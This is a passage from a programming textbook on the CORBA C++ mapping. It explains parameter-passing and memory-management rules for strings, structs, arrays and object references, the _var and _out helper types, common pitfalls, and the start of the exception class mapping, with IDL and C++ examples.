for requiring dynamic allocation is that the callee may need to return a longer string than 
what was initially passed by the caller. This requires reallocation; if the returned string is 
longer, the proxy deallocates the initial string and allocates a new buffer to hold the 
longer value. The need to reallocate explains why string inout parameters are passed as 
a reference to a pointer (instead of just a plain pointer). The proxy may need to change 
not only the bytes forming the string contents but also, if reallocation is required, the 
pointer value itself. 
 
The out parameter s_out is set to the address of a string allocated by the proxy, and 
that explains why a reference to a pointer is passed (the proxy must set the pointer value 
and not just the bytes pointed at). The caller is under no obligation to initialize the passed 
pointer in any way. The caller becomes responsible for eventually deallocating the string 
with string_free. 
 
The return value is treated much like an out parameter. The proxy allocates the string 
and initializes it. The caller becomes responsible for eventually deallocating the string 
with string_free. 
 
Here is some example code that illustrates the memory management rules. 
       
Foo_var fv = ...;   // Get reference... 
 
// Must use dynamic allocation for inout strings. 
char * inout_val = CORBA::string_dup("inout string"); 
 
// No need to initialize out param or return value. 
char * out_val; 
char * ret_val; 
 
ret_val = fv->string_op("Hello", inout_val, out_val); 
// inout_val may now point to a different string, possibly with 
// a different address. 
// 
// out_val now points at a dynamically allocated string, filled in 
// by the operation. 
// 
// ret_val also points at a dynamically allocated string 
 
// Use returned values here... 
 
// We must deallocate inout_val (we allocated it ourselves). 
CORBA::string_free(inout_val); 
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// We must deallocate out strings and return strings because they 
// are allocated by the proxy. 
CORBA::string_free(out_val); 
CORBA::string_free(ret_val); 
 
      
This code illustrates the major points. 
in strings must be initialized and can be allocated anywhere (on the stack, in the data 
segment, or on the heap). 
inout strings must be initialized and must be dynamically allocated. Responsibility for 
deallocation remains with the caller. 
out strings need not be initialized and are allocated by the callee. Responsibility for 
deallocation passes to the caller. 
Returned strings need not be initialized and are allocated by the callee. Responsibility for 
deallocation passes to the caller. 
 
You need to be aware of one potential problem with strings: the C++ mapping prohibits 
passing a null pointer as an in or inout parameter. For example, the following code has 
undefined behavior and may well cause a core dump: 
       
CORBA::String_var in_val;       // Initialized to null 
CORBA::String_var inout_val;    // Ditto 
char * out_val; 
char * ret_val; 
 
// Looming disaster!!! 
ret_val = fv->string_op(in_val, inout_val, out_val); 
 
      
This code passes a default-constructed String_var as the in_val and inout_val 
parameters. The default constructor initializes a String_var to the null pointer, so a 
null pointer is passed to string_op for both the in_val and inout_val parameters, 
and that is illegal. If you need to pass a string that conceptually is optional, you can pass 
either an empty string or an IDL union as shown in Section 4.7.4. 
 
The rules for passing wide string parameters are almost exactly the same as for strings. 
The only differences are that the parameter types are CORBA::WChar * instead of 
char * and that you must use the wide string allocation functions (wstring_alloc, 
wstring_dup, and wstring_free). 

7.14.8 Parameter Passing for Variable-Length Complex Types 
and Type Any 

Recall that sequences are always variable-length and that structures and unions are 
variable-length if they (recursively) contain a variable-length member. Here is an 
operation that passes a variable-length structure in all possible directions: 
       
struct Vls {        // Variable-length struct 
   long   l_mem; 
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   string s_mem; 
}; 
 
interface Foo { 
   Vls vls_op( 
        in Vls      vls_in, 
        inout Vls   vls_inout, 
        out Vls     vls_out 
     ); 
}; 
 
      
The corresponding method in the generated proxy has this signature: 
       
class Foo : public CORBA::Object { 
public: 
    // ... 
    virtual Vls *   vls_op( 
                        const Vls & vls_in, 
                        Vls &       vls_inout, 
                        Vls_out     vls_out 
                    ) = 0; 
    // ... 
}; 
 
      
The type Vls_out is a class whose constructor accepts an argument of type Vls * &. 
(We examine the implementation of _out classes again in Section 7.14.13. For now, 
assume that Vls_out is the same as Vls * &.) Following are the memory 
management responsibilities. 
 
The in parameter vls_in is passed as a reference to const. This avoids the need to 
copy the structure onto the stack and prevents the callee from modifying the parameter. 
An in struct can be allocated on the stack, in the data segment, or on the heap. 
 
The inout parameter vls_inout is allocated and initialized by the caller and passed 
by reference. This permits the callee to modify the contents of the structure via the 
reference. Note that no pointer need be passed here. If the callee wants to modify the 
string member s_mem of the structure, it can do so simply by assignment. The structure 
looks after the memory management of its string member (the member is a 
String_mgr). The caller can allocate the structure it passes anywhere (on the stack, in 
the data segment, or on the heap). 
 
The out parameter vls_out is passed as a reference to a pointer. The result is 
dynamically allocated by the callee. The caller becomes responsible for eventually calling 
delete to deallocate the out parameter. 
 
The return value behaves like an out parameter. The value is allocated by the proxy, and 
the caller must deallocate it with delete. 
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Here is some example code that illustrates the memory management rules: 
       
Foo_var fv = ...;   // Get reference 
 
Vls in_val;                             // Note stack allocation 
Vls inout_val;                          // Note stack allocation 
Vls * out_val;                          // Note pointer 
Vls * ret_val;                          // Note pointer 
 
in_val.l_mem = 99;                      // Initialize in param 
in_val.s_mem = CORBA::string_dup("Hello") ; 
 
inout_val.l_mem = 5;                    // Initialize inout param 
inout_val.s_mem = CORBA::string_dup("World"); 
 
ret_val = fv->vls_op(in_val, inout_val, out_val); 
 
// in_val is unchanged here, inout_val may have 
// been modified, and out_val and ret_val contain 
// structures returned by the operation. 
 
delete out_val;       // Must deallocate out param 
delete ret_val;    // Must deallocate return value 
 
      

Values of type any follow the same parameter passing rules (Chapter 15 discusses the 
mapping for any in detail). 

7.14.9 Parameter Passing for Arrays with Variable-Length 
Elements 

The responsibilities for memory allocation and deallocation of variable-length elements 
in arrays are the same as for other variable-length types. However, because of the limited 
array concept of C++, arrays with variable-length elements are passed by pointer to an 
array slice. Here is the IDL for an operation that passes an array with variable-length 
elements in all possible directions: 
       
struct Vls {            // Variable-length struct 
   long   number; 
   string name; 
}; 
 
typedef Vls Varr[3];    // Variable-length array 
 
interface Foo { 
    Varr  varr_op( 
          in Varr     varr_in, 
          inout Varr  varr_inout, 
          out Varr    varr_out 
        ); 
}; 
 
      



IT-SC book: Advanced CORBA® Programming with C++ 

 265

To make this example a little more interesting, we use an array containing variable-length 
structure elements, and that makes the array itself variable-length. The corresponding 
method in the proxy has this signature: 
       
struct Vls { 
    // ... 
}; 
 
typedef Vls     Varr[3]; 
typedef Vls *   Varr_slice; 
 
class Foo : public virtual CORBA::Object { 
public: 
    // ... 
    virtual Varr_slice *    varr_op( 
                                const Varr      varr_in, 
                                Varr_slice *    varr_inout, 
                                Varr_out        varr_out 
                            ) = 0; 
    // ... 
}; 
// ... 
void    Varr_free(Varr_slice *); 
// ... 
 
      
Varr_out is a class whose constructor accepts an argument of type Varr_slice * 
&. If you compare the preceding mapping with the one for arrays having fixed-length 
elements, you find only one real difference: for an out parameter for an array having 
variable-length elements, a reference to a pointer is passed instead of only a pointer. This 
is because for arrays having variable-length elements, out parameters are allocated by the 
callee, whereas for arrays having fixed-length elements, out parameters are allocated by 
the caller. Following are all the memory management rules for arrays having variable-
length elements. 
 
in arrays must be initialized and can be allocated anywhere (on the stack, in the data 
segment, or on the heap). 
 
inout arrays must be initialized and can be allocated anywhere (on the stack, in the data 
segment, or on the heap). 
 
out arrays are allocated by the callee. Responsibility for deallocation passes to the caller. 
Returned arrays are allocated by the callee. Responsibility for deallocation passes to the 
caller. 
 
Arrays having variable-length elements are passed as a pointer to an array slice. For out 
arrays, it is a reference to a pointer to an array slice. 
 
Following is example code that illustrates the memory management rules: 
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Foo_var fv = ...;       // Get reference 
 
Varr in_val;            // Note stack allocation 
in_val[0].number = 0; 
in_val[0].name = CORBA::string_dup("Jocelyn"); 
in_val[1].number = 1; 
in_val[1].name = CORBA::string_dup("Michi"); 
in_val[2].number = 2; 
in_val[2].name = CORBA::string_dup("Tyson"); 
 
Varr inout_val;         // Note stack allocation 
inout_val[0].number = 97; 
inout_val[0].name = CORBA::string_dup("Anni"); 
inout_val[1].number = 98; 
inout_val[1].name = CORBA::string_dup("Harry"); 
inout_val[2].number = 99; 
inout_val[2].name = CORBA::string_dup("Michi"); 
 
Varr_slice * out_val;   // Note no initialization 
Varr_slice * ret_val;   // Note no initialization 
 
ret_val = fv->varr_op(in_val, inout_val, out_val); 
// in_val is unchanged 
// inout_val may have been changed 
// out_val and ret_val point at dynamically allocated array 
 
Varr_free(out_val); // Must free here! 
Varr_free(ret_val); // Must free here! 
 
      

7.14.10 Parameter Passing for Object References 

Object references are a variable-length type. The parameter passing rules are similar to 
those for strings. Here is the IDL for an operation that passes an object reference in all 
possible directions: 
       
interface Foo { 
   Foo foo_op( 
       in Foo      foo_in, 
       inout Foo   foo_inout, 
       out Foo     foo_out 
    ); 
}; 
 
      
The corresponding method in the generated proxy has this signature: 
       
class Foo : public CORBA::Object { 
public: 
    // ... 
    virtual Foo_ptr ref_op( 
                        Foo_ptr     ref_in, 
                        Foo_ptr &   ref_inout, 
                        Foo_out     ref_out 
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                    ) = 0; 
    // ... 
}; 
 
      
The type Foo_out is a class whose constructor accepts a parameter of type Foo_ptr 
&. The parameter passing rules are as follows. 
 
in references are initialized by the caller and passed by value, so the proxy cannot 
change the parameter. 
 
inout references are initialized by the caller and passed by reference, so the proxy can 
modify the reference. The caller remains responsible for releasing the reference. 
 
out references need not be initialized and are returned by reference. The callee allocates 
the reference, and the caller becomes responsible for releasing it. 
 
Returned references need not be initialized, are returned by value, and are allocated by 
the callee. The caller becomes responsible for releasing the reference. 
 
Here is another code example to illustrate the rules: 
       
Foo_var fv = ...;           // Get reference 
 
Foo_ptr in_val = ...;       // Initialize in param 
Foo_ptr inout_val = ...;    // Initialize inout param 
Foo_ptr out_val;            // No initialization necessary 
Foo_ptr ret_val;            // No initialization necessary 
 
ret_val = fv->ref_op(in_val, inout_val, out_val); 
// in_val is unchanged 
// inout_val may have been changed 
// out_val and ret_val are set by callee 
 
CORBA::release(in_val);     // Need to release all references 
CORBA::release(inout_val); 
CORBA::release(out_val); 
CORBA::release(ret_val); 
 
      
This example illustrates that references must always be released because the only way to 
create a reference is to allocate it dynamically (with _nil or _duplicate). For in 
and inout references, the allocation is done by the caller. For out and returned 
references, the allocation is done by the callee and the caller must deallocate. 

7.14.11 Summary of Parameter Passing Rules 

Table 7.3 summarizes the parameter passing rules. Fortunately, you do not have to 
remember these rules in all their minute detail; as you will see in Section 7.14.12, 
using _var types simplifies the picture considerably. However, the table is useful as a 
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reference. Having read the preceding sections, you should understand why parameters are 
passed as they are. 
 

Table 7.3. Parameter passing summary. 
IDL Type in inout out Return Type 

simple simple simple & simple & simple 
enum enum enum & enum & enum 
fixed const Fixed & Fixed & Fixed & Fixed 
string const char * char * & char * & char * 
wstring const WChar * WChar * & WChar * & WChar * 
any const Any & Any & Any * & Any * 
objref objref _ptr objref _ptr & objref _ptr & objref _ptr 

sequence const sequence 
& sequence & sequence * & sequence * 

struct, fixed const struct & struct & struct & struct 
union, fixed const union & union & union & union 

array, fixed const array array_slice 
* array_slice * array_slice 

* 
struct, 
variable const struct & struct & struct * & struct * 

union, variable const union & union & union * & union * 

array, variable const array array_slice 
* 

array_slice * 
& 

array_slice 
* 

 
Note that in all cases, the actual type of out parameters is typename_out rather than 
what is shown in the out column of the table. However, the functions behave as if the 
actual type were that shown in the table. 

7.14.12 Using _var Types to Pass Parameters 

Much of the complexity of the parameter passing rules arises from the need for the caller 
to deallocate variable-length parameters. In addition, parameter passing is complicated by 
the different rules for fixed-length and variable-length complex types. The main 
motivation for _var types is that they hide these differences. Table 7.4 shows the 
parameter passing rules if you use _var types instead of the low-level mapping. Note 
that the _var types not only take care of deallocation but also hide the differences 
between fixed-length and variable-length types. 
 

Table 7.4. Parameter passing with _var types. 
IDL Type in inout/out Return 

string const String_var & String_var & String_var 
wstring const WString_var & WString_var & WString_var 
any const Any_var & Any_var & Any_var 
objref const objref_var & objref_var & objref_var 
sequence const sequence_var & sequence_var & sequence_var 
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struct const struct_var & struct_var & struct_var 
union const union_var & union_var & union_var 
array const array_var & array_var & array_var 
 
Simple types, enumerated types, and fixed-point types are necessarily absent from the 
table. _var types are not generated for these types because _var types are not needed 
(simple types are always fixed-length, caller-allocated, and passed by value). 
 
Note that _var types are provided for in parameters even though no memory 
management issues arise here. This is both for consistency and to allow a _var type to 
be passed transparently when an operation expects the underlying type. 
 
Following is an example that illustrates the advantages. The example uses a fixed-length 
and a variable-length struct passed as out parameters, and a string as the return value. 
Here is the IDL: 
       
struct Fls { 
   long    l_mem; 
   double  d_mem; 
}; 
 
struct Vls { 
   double  d_mem; 
   string  s_mem; 
}; 
 
interface Foo { 
   string  op(out Fls fstruct, out Vls vstruct); 
}; 
 
      
If you use the low-level mapping and choose to manage memory yourself, you must write 
code such as the following: 
       
Foo_var fv = ...;       // Get reference 
 
Fls fstruct;            // Note _real_ struct 
Vls * vstruct;          // Note _pointer_ to struct 
char * ret_val; 
 
ret_val = fv->op(fstruct, vstruct); 
 
delete vstruct; 
CORBA::string_free(ret_val); 
 
      
This doesn't look very bad at first glance, but it contains its share of potential problems. 
You must remember to pass a structure as the first parameter and a pointer to a structure 
as the second parameter, and you also must remember that the variable-length structure 
and the returned string must be deallocated. Moreover, you must remember to use the 
correct deallocation function. If your code has any degree of complexity, throws 
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exceptions, and possibly takes early returns out of functions, you can easily make a 
mistake that leads to a memory leak or, worse, causes memory corruption because you 
deallocated something twice. 
 
The same code using _var types is much simpler: 
       
Foo_var fv = ...;           // Get reference 
 
Fls_var fstruct = ...;      // Don't care if fixed or variable 
Vls_var vstruct;            // Ditto 
CORBA::String_var ret_val;  // To catch return value 
 
ret_val = fv->op(fstruct, vstruct); 
 
// Show some return values 
cout << "fstruct.d: " << fstruct->d_mem << endl; 
cout << "vstruct.d: " << vstruct->d_mem << endl; 
cout << "ret_val:   " << ret_val << endl; 
 
// Deallocation (if needed) is taken care of by _var types 
 
      
The differences in parameter passing rules for the two structures are completely hidden 
here. To access the structure members, you use the overloaded indirection -> operator 
whether the underlying structure is fixed-length or variable-length. When the three _var 
types go out of scope, vstruct calls delete, ret_val calls string_free, and 
fstruct does nothing because it wraps a stack-allocated structure. 
 
Because _var types can also be passed as in and inout parameters, it is easy to receive a 
result from one operation and pass that result to another operation. 
 
Consider the following IDL: 
       
interface Foo { 
   string  get(); 
   void    modify(inout string s); 
   void    put(in string s); 
}; 
 
      
Assume that you are given stringified references to three of these objects and that you 
want to get a string from the first object, pass it to the second object for modification, and 
then pass the modified string to the third object. Using _var types, this is trivial: 
       
{ 
    Foo_var fv1 = orb->string_to_object(argv[1]); 
    Foo_var fv2 = orb->string_to_object(argv[2]); 
    Foo_var fv3 = orb->string_to_object(argv[3]); 
 
    // Test fv1, fv2, and fv3 with CORBA::is_nil() here... 
 
    CORBA::String_var s; 
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    s = fv1->get();         // Get string 
    fv2->modify(s);         // Change string 
    fv3->put(s);            // Put string 
} 
// Everything is deallocated here 
 
      
You can also use the explicit directional member functions to pass _var parameters, 
either to get around compiler bugs or to improve the readability of your code: 
       
s = fv1->get();         // Get string 
fv2->modify(s.inout()); // Change string 
fv3->put(s.in());    // Put string 
 
      
This code does the same thing as the previous example but makes it explicit in which 
direction the parameter is passed. 
 
Note that _var types are useful mainly to ensure that out parameters and return values 
are deallocated correctly. There is no point in using a _var type purely as an in 
parameter, because this forces two unnecessary calls to the memory allocator. It is far 
better to instead use a stack-allocated variable. Here is an IDL operation that expects a 
variable-length struct as an in parameter: 
       
struct Vls { 
   double  d_mem; 
   string  s_mem; 
}; 
 
interface Foo { 
   void    in_op(in Vls s); 
}; 
 
      
If you use a _var type to pass the parameter, the code looks something like this: 
       
{ 
    Foo_var fv = ...;           // Get reference 
 
    Vls_var vv = new Vls;       // Need to give memory to the _var 
    vv->d_mem = 3.14; 
    vv->s_mem = CORBA::string_dup("Hello"); 
    fv->in_op(vv); 
} // fv and vv deallocate here. 
 
      
This code is correct, but it needlessly allocates the in parameter on the heap, only to 
deallocate it again. It is far better to use a local variable instead: 
       
{ 
    Foo_var fv = ...;           // Get reference 
 
    Vls vv;                     // Note stack allocation 
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    vv.d_mem = 3.14; 
    vv.s_mem = CORBA::string_dup("Hello"); 
    fv->in_op(vv); 
} // fv deallocates here. 
 
      
This code achieves the same thing but avoids dynamic allocation. Remember, wherever 
possible, you should use the stack in preference to the heap. Heap allocation is around 
100 times more expensive than pushing the same instance onto the stack [11]. You will 
typically pass a _var type as an in parameter only if it was previously returned as an out 
parameter or return value. 

7.14.13 Deallocating out Parameters and the Purpose of _out 
Types 

So far, we have skirted the issue of why out parameters are mapped to a formal 
parameter type of typename_out instead of the types shown in Table 7.3. The 
reason lies in the different behavior of passing pointer types and _var types. 
(Understanding the implementation of _out types is not essential to using the mapping; 
we provide it here mainly for completeness. Your code will be correct if you simply 
follow the parameter passing rules presented previously. If you do not care about the 
details of _out types, we suggest you continue reading with Section 7.14.14.) 
 
To see what the _out types are for, consider the following operation returning a string as 
an out parameter. Here is a code fragment that calls get_name twice: 
       
Foo_var fv = ...;   // Get reference 
 
char * name; 
fv->get_name(name); 
cout << "First name: " << name << endl; 
fv->get_name(name);                         // Bad news! 
cout << "Second name: " << name << endl; 
CORBA::string_free(name); 
 
      
This code leaks the string returned from the first call to get_name. (Remember, 
variable-length out parameters are allocated by the callee and must be deallocated by the 
caller.) 
Here is the correct way to do this: 
       
Foo_var fv = ...;   // Get reference 
 
char * name; 
fv->get_name(name); 
cout << "First name: " << name << endl; 
CORBA::string_free(name);               // Free first string 
 
fv->get_name(name); 
cout << "Second name: " << name << endl; 



IT-SC book: Advanced CORBA® Programming with C++ 

 273

CORBA::string_free(name);               // Free second string 
 
      
This code correctly deallocates the first string before it calls get_name a second time. If 
you use _var types, explicit deallocation is no longer necessary: 
       
Foo_var fv = ...;       // Get reference 
 
CORBA::String_var name; // Note _var type 
fv->get_name(name); 
cout << "First name: " << name << endl; 
fv->get_name(name);                         // No leak here 
cout << "Second name: " << name << endl; 
// String_var name deallocates when it is destroyed 
 
      
This code uses a String_var to avoid leaking memory. When get_name is called 
the second time, the deep assignment semantics of String_var ensure deallocation of 
the previous value. 
 
Now let's return to _out types. As you saw in the preceding code examples, if you pass a 
raw pointer to get_name, you are responsible for deallocating the out string, whereas 
if you pass a String_var, any previous out string is deallocated automatically. The 
question is, how does the mapping actually achieve this? Again, here is the signature of 
get_name: 
       
void get_name(CORBA::String_out s); 
 
      
We want to arrange things so that if you pass a char * as the actual argument, a 
reference to the same char * is passed to the callee. However, if you pass a 
String_var, first any string currently owned by the String_var is deallocated; 
then a reference to a null pointer owned by the String_var is given to the callee. Here 
is how the String_out class achieves this: 
       
class String_out { 
public: 
    String_out(char * & s): _sref(s) { _sref = 0; } 
    String_out(String_var & sv): _sref(sv._sref) { 
        string_free(_sref); 
        _sref = 0; 
    } 
    // Other member functions for assignment, 
    // dereferencing, and conversion to char * 
    // and const char * here... 
private: 
    char * & _sref; 
}; 
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We show only the two constructors that are relevant to this discussion. The actual 
String_out class also has member functions to correctly deal with assignment, 
dereferencing, and conversion to char * and const char *. 
 
If a client calls get_name and passes an actual argument of type char *, the compiler 
attempts to find a way to coerce the actual argument to the formal parameter type of 
String_out. Class String_out has a single-argument constructor that acts as a 
user-defined conversion operator. So when the client makes the call 
       
Foo_var fv = ...; 
 
char * name; 
fv->get_name(name); 
 
      
the compiler constructs a temporary variable of type String_out by invoking the 
char * constructor. The constructor binds the actual argument name to its private 
reference _sref and then assigns 0 to the actual argument via that reference. The net 
effect is that if you pass a char *, the argument you pass is set to the null pointer 
without freeing any memory. 
 
Now consider the following code sequence, in which a String_var is passed instead 
of a char *: 
       
Foo_var fv = ...; 
 
CORBA::String_var name; 
fv->get_name(name);  
fv->get_name(name); 
 
      
As you saw previously, this code is free of leaks. Here is what happens. 
 
The constructor of name initializes the internal pointer to null. 
 
The compiler passes name to get_name by constructing a temporary String_out 
using the String_var constructor for String_out. 
 
The constructor binds the actual argument name to the private reference _sref, calls 
string_free on that reference, and then sets the internal pointer held by name to null. 
(String_out is a friend of String_var, so it can access private members of name.) 
 
The net effect is that if you pass a String_var when a String_out is expected, the 
memory owned by the String_var is deallocated and the internal pointer is set to null 
before the argument ever reaches the callee. This ensures that no memory is leaked if you 
pass a String_var to two subsequent calls to get_name without deallocating 
memory between the two calls. 
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_out classes for other variable-length types, such as structures or references, have much 
the same behavior. If an _out type is initialized with a _var, memory held by the _var 
is released and its internal pointer is cleared before the argument is passed to the callee. 
For consistency, the mapping generates _out types not only for variable-length types but 
also for fixed-length types. Of course, the _out type for a fixed-length type is simply an 
alias for a reference to that fixed-length type. For example, CORBA::Double_out is a 
typedef for CORBA::Double &. 
 
If you are still unsure exactly why _out types are used by the mapping, don't let it 
concern you very much. You can safely pretend that where a signature shows 
typename_out, the parameter will behave as if it were of the type shown in Table 
7.3. Remember that if you use the low-level mapping, you must deallocate variable-
length out parameters yourself, whereas if you use _var types, deallocation happens 
automatically. 

7.14.14 Read-Only Restrictions on Parameters 

Before CORBA 2.3, the C++ mapping required that variable-length out parameters and 
return values must be treated as read-only by the caller. (Fixed-length out parameters 
and return values are not subject to this restriction.) For example: 
       
typedef sequence<string>    StrSeq; 
interface Foo { 
   StrSeq  get_names(); 
}; 
 
      
The code in the caller could look something like this: 
       
Foo_var fv = ...;                   // Get reference 
StrSeq_var names = fv->get_names(); // Get list of names 
 
// Modify list of names 
CORBA::ULong len = names->length(); 
names->length(len + 1); 
names[len] = CORBA::string_dup("New Name"); 
// ... 
 
      
Strictly speaking, this code is non-portable because it modifies a variable-length return 
value. If you want to modify the returned value, you must first make a copy and then 
modify the copy. One easy way to achieve this is to use a _var type: 
       
Foo_var fv = ...;                   // Get reference 
StrSeq_var tmp = fv->get_names();   // Get list of names 
StrSeq_var names(tmp);              // Make copy 
 
// Modify copied list of names 
CORBA::ULong len = names->length(); 
names->length(len + 1); 
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names[len] = CORBA::string_dup("New Name"); 
// ... 
 
      
This code is portable because it first makes a deep copy of the returned sequence before 
modifying its contents. 
 
In all CORBA 2.2 and earlier ORB implementations we are aware of, you will not get 
any warning or error if you modify an argument you should be treating as read-only (and 
your code will work just fine). This means that there is nothing except your own 
diligence to protect you from using what is strictly a non-portable construct. 
 
The read-only rule for returned variable-length parameters was originally introduced by 
the C++ mapping to allow optimizations that reduce the number of memory allocations 
and data copies made by an ORB during marshaling. To the best of our knowledge, no 
pre-CORBA 2.3 ORB took advantage of this optimization, but the read-only rule meant 
that programmers could end up writing nonportable code without getting any warning. 
Clearly, this is undesirable, so CORBA 2.3 removed the read-only restriction (and for all 
CORBA 2.2 and earlier ORBs we are aware of, you can safely ignore it.) 

7.14.15 Pitfalls of Passing Parameters 

Following are some pitfalls you need to be aware of when you write your code. 

Passing Null Pointers 

The C++ mapping makes it illegal to pass a null pointer across an IDL interface. This 
makes sense because IDL does not support the concept of null; if the C++ mapping 
allowed passing of null pointers, it would destroy the language transparency of CORBA 
because some implementation languages (such as COBOL) do not even have the concept 
of a null pointer. 
You must be careful when you pass a string or an array as an in or inout parameter, 
because these types are passed by pointer. The following code has undefined behavior: 
        
// Assume IDL: 
// typedef long Larray[10]; 
// interface Foo { 
//     void put(in Larray la); 
// }; 
 
Larray_slice * p = 0; 
// ... 
fv->put(p);    // Illegal! 
 
       
Depending on your ORB, this code may either get a system exception or result in a core 
dump. (The C++ mapping states simply that passing null pointers across IDL interfaces 
has undefined behavior.) 
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Similarly, the C++ mapping states that an operation cannot return a null pointer for an 
inout or out parameter or as the return value. If a CORBA request succeeds, 
arguments returned by pointer are guaranteed to point at valid memory. 
 
Note that you can pass a nil reference across an interface. A nil reference is just as valid 
an object reference as any other reference. Passing a nil reference is legal even if it 
happens to be implemented as a C++ null pointer in your ORB. The marshaling code 
ensures that nil references will be transmitted correctly even if they are implemented as 
null pointers. 

Passing Uninitialized in or inout Parameters 

Passing a default-constructed value as an in or inout parameter is generally safe as far 
as marshaling is concerned. Most types either are simple values that are always safe for 
marshaling (even though the uninitialized value is garbage), or they are complex values 
that are initialized by their default constructor to a safe value. As an example of the latter, 
the default constructor for a sequence creates an empty sequence that can legally be sent 
across an interface. 
 
However, strings and unions break this pattern. Because strings are mapped to char *, 
passing an uninitialized string is likely to crash your program; the marshaling code will 
either dereference a null pointer or it will try to dereference a garbage pointer. If you pass 
a default-constructed String_var, you will be passing a null pointer, also with 
disastrous consequences. (Passing a nested uninitialized string is safe, though, because 
nested strings are initialized to the empty string.) 
 
Similar arguments apply to unions. Even though unions have a default constructor, that 
constructor performs no visible initialization. (When you think about it, there is no 
meaningful way to default-construct a union.) The C++ mapping makes it illegal to pass 
an uninitialized union across an IDL interface; doing so has undefined behavior. 

Ignoring Variable-Length Return Values 

If you use _var types, it is unlikely that your code will leak memory. However, you 
must remember to catch the return value from operations that return a variable-length 
value. For example, the following code leaks memory: 
        
// Assume IDL: 
// interface Foo { 
//     string get(in long l); 
// }; 
 
fv->get(5);   // Return value is leaked! 
 
       
Your best defense against such problems is to use diligence and commercial memory 
management debugging tools. You should be using such a tool for your development as a 
matter of course, whether or not you are programming in a CORBA environment. 
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Forgetting to Deallocate a Variable-Length out Parameter 

As you saw at the beginning of Section 7.14.13, you must deallocate variable-length 
out parameters unless you are using _var types. We strongly recommend that you 
habitually use _var types for out parameters and return values. In that way, you cannot 
forget to deallocate memory and therefore your code will not suffer memory leaks. 

7.15 Mapping for Exceptions 

Until now, we have mostly ignored the possibility of errors during request invocation. 
Even though the C++ mapping makes a remote invocation look like a local function call, 
the reality of networking means that a remote invocation is more likely to fail than a local 
function call. Remote invocation obviously will fail if a client cannot reach a server 
because of network failure. Other reasons for remote call failure include resource 
limitations (for example, the client may run out of file descriptors) and implementation 
limits (your ORB may, for example, impose a maximum size limit on parameters). 
 
As mentioned in Section 4.10, the ORB indicates infrastructure-related failures by 
raising system exceptions. This means that every invocation can raise a system exception 
even if it does not have an IDL raises expression. In addition, if an operation has a 
raises expression, it can raise user exceptions. 
 
The C++ mapping provides several exception base classes in the CORBA namespace. 
They are arranged in an inheritance hierarchy as follows: 
      
namespace CORBA { 
    // ... 
    class Exception {                           // Abstract 
    public: 
        // ... 
    }; 
 
    class UserException : public Exception {    // Abstract 
        // ... 
    }; 
 
    class SystemException : public Exception {  // Abstract 
        // ... 
    }; 
 
    // Concrete system exception classes: 
    class UNKNOWN : public SystemException { /* ... * / }; 
    class BAD_PARAM : public SystemException { /* ... */ }; 
    // etc... 
} 
 
     
The abstract base class Exception acts as the root of the inheritance tree. 
UserException and SystemException are also abstract base classes; all concrete 
system exceptions (such as UNKNOWN and BAD_PARAM) are derived from 
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SystemException, and all user exceptions are derived from UserException. The 
resulting inheritance hierarchy looks like the diagram shown in Figure 7.8. This 
exception hierarchy allows you to catch all exceptions in a single catch clause, or you can 
catch specific exceptions selectively. The following code shows an example of handling 
exceptions for a Thermostat::set_nominal operation: 

Figure 7.8 Exception class hierarchy. 

 
      
CCS::Thermostat_var ts = ...; 
CCS::TempType new_temp = ...; 
 
try { 
    ts->set_nominal(new_temp); 
} catch (const CCS::BadTemp &) { 
    // New temp out of range 
} catch (const CORBA::UserException &) { 
    // Some other user exception 
    cerr << "User exception" << endl; 
} catch (const CORBA::OBJECT_NOT_EXIST &) { 
    // Thermostat has been destroyed 
} catch (const CORBA::SystemException &) { 
    // Some other system exception 
    cerr << "System exception" << endl; 
} catch (...) { 
    // Non-CORBA exception -- should never happen 
} 
 
     
This code uses the exception hierarchy to specifically distinguish an out-of-range error 
condition from other user-defined errors and also specifically tests for non-existence of 
the target object. Other user exceptions and system exceptions are dealt with generically. 
 
Note the final catch handler. This handler runs only if the operation invocation raises a 
non-CORBA exception. This should never happen because the CORBA specification 
does not allow an ORB to raise exceptions other than CORBA exceptions. If an operation 
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raises a user exception that is not in the raises expression for the operation or if an 
operation throws a (non-CORBA) C++ exception, the ORB must translate it into the 
UNKNOWN system exception. However, not all ORB implementations are diligent in this 
respect. (If the ORB fails to intercept and translate such an exception to UNKNOWN, the 
unexpected function will be called in standard C++ environments.) 
 
To be safe, it is best to handle system exceptions and "impossible" C++ exceptions 
together in a generic catch handler that simply rethrows the exception: 
      
CCS::Thermostat_var ts = ...; 
CCS::TempType new_temp = ...; 
 
try { 
    ts->set_nominal(new_temp); 
} catch (const CCS::BadTemp &) { 
    // New temp out of range 
} catch (const CORBA::UserException &) { 
    // Some other user exception 
    cerr << "User exception" << endl; 
} catch (const CORBA::OBJECT_NOT_EXIST &) { 
    // Thermostat has been destroyed 
} catch (...) { 
    // Other system exceptions or non-CORBA exceptions 
    // are an SEP (somebody else's problem). 
    throw; 
} 
 
     
Typically, you will not handle exceptions in this much detail for every call. It is easier to 
handle one or two specific exceptions that are of interest and to install default exception 
handlers higher up in the call hierarchy. A common technique is to enclose all of main in 
a try block with a generic catch handler. This technique allows you to at least detect an 
uncaught exception and to terminate with an error message instead of simply having your 
program abort. 
 
A generic catch handler also has the advantage that it can deal with new system 
exceptions. The list of system exceptions is open-ended and occasionally is extended to 
accommodate new features of CORBA. If your code has a generic catch handler for 
system exceptions, you can at least report a generic CORBA error instead of a completely 
unknown error. 
 
Note that the preceding code catches exceptions by reference to const. This is 
preferable to catching exceptions by value. 
 
Catching exceptions by reference is more efficient than catching them by value because it 
allows the compiler to avoid creating a temporary. 
 
If you catch a base exception by value and then rethrow the exception, you will slice off 
the derived part of the exception if its actual (dynamic) type is derived from the base type. 
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You cannot catch Exception, SystemException, and UserException by value 
because they are abstract base classes. 
 
Also note that servers never throw exceptions by pointer, so catching them by reference 
or by value is the only available option. 

7.15.1 Mapping for System Exceptions 

System exceptions are mapped as follows: 
       
// In namespace CORBA... 
 
class Exception { 
public: 
                    Exception(const Exception &); 
    virtual         ~Exception(); 
    Exception & operator=(const Exception &); 
 
    virtual void    _raise() = 0; 
 
protected: 
                    Exception(); 
}; 
 
enum CompletionStatus { 
                        COMPLETED_YES, 
                        COMPLETED_NO, 
                        COMPLETED_MAYBE 
                      }; 
 
class SystemException : public Exception { 
public: 
                        SystemException(); 
                        SystemException(const SystemException &); 
                        SystemException( 
                            ULong               minor, 
                            CompletionStatus    status 
                        ); 
                        ~SystemException(); 
    SystemException &   operator=(const SystemException &); 
 
    ULong               minor() const; 
    void                minor(ULong); 
 
    CompletionStatus    completed() const; 
